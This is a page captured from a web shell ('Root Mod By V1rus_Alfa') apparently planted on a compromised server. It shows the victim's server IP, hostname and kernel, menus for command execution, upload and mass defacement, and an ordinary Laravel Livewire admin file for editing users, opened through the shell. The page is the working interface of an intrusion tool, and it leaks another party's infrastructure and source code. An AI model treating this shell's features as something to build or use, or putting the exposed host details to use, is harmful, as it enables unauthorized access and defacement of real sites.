���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix-shot
/
app
/
Livewire
/
Admin
/
Pages
/
User
/
Modal
/
Viewing: Edit.php
<?php namespace App\Livewire\Admin\Pages\User\Modal; use App\Models\User; use Illuminate\Validation\Rule; use Masmerise\Toaster\Toastable; use Spatie\Permission\Models\Role; use function App\Helpers\toEnDigit; use LivewireUI\Modal\ModalComponent; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Validator; class Edit extends ModalComponent { use Toastable; public $item; public function mount($id) { $this->authorize('users.edit'); $this->item=User::where('id',$id)->first(); if(!$this->item){ return abort(404); }else{ $this->form=[ 'name'=>$this->item->name, 'email'=>$this->item->email, 'mobile'=>$this->item->mobile, 'role_name'=>'', 'pass'=>'', ]; } } protected function rules () { return [ 'name' => 'required', 'mobile' => 'required|max:11|'. Rule::unique('users')->ignore($this->item->id), ]; } protected function ruleEmail () { return [ 'email' => 'required|email|'. Rule::unique('users')->ignore($this->item->id), ]; } public $form=[ 'name'=>'', 'email'=>'', 'mobile'=>'', 'role_name'=>'', 'pass'=>'', ]; public function submit() { //validate $validation=Validator::make($this->form,$this->rules() ); if($validation->fails()){ $this->error($validation->messages()->first()); return ; } if($this->form['email']){ $validationEmail=Validator::make($this->form,$this->ruleEmail() ); if($validationEmail->fails()){ $this->error($validationEmail->messages()->first()); return ; } } $this->item->update([ 'email'=>$this->form['email'], 'name'=>$this->form['name'], 'mobile'=>toEnDigit($this->form['mobile']), ]); if($this->form['pass']){ $this->item->update([ 'password'=>Hash::make($this->form['pass']), ]); } if($this->form['role_name'] && $this->form['role_name'] != 0){ $roles=$this->item->getRoleNames()->toArray(); foreach ($roles as $row) { if($row != "user"){ $this->item->removeRole($row); } } $this->item->assignRole([$this->form['role_name']]); } //response $this->dispatch('refreshTable'); $this->forceClose()->closeModal(); $this->success(trans('container.operation successful')); return ; } public function back() { return $this->closeModal(); } public function render() { $roles=Role::latest()->get(); return view('livewire.admin.pages.user.modal.edit',['roles'=>$roles]); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa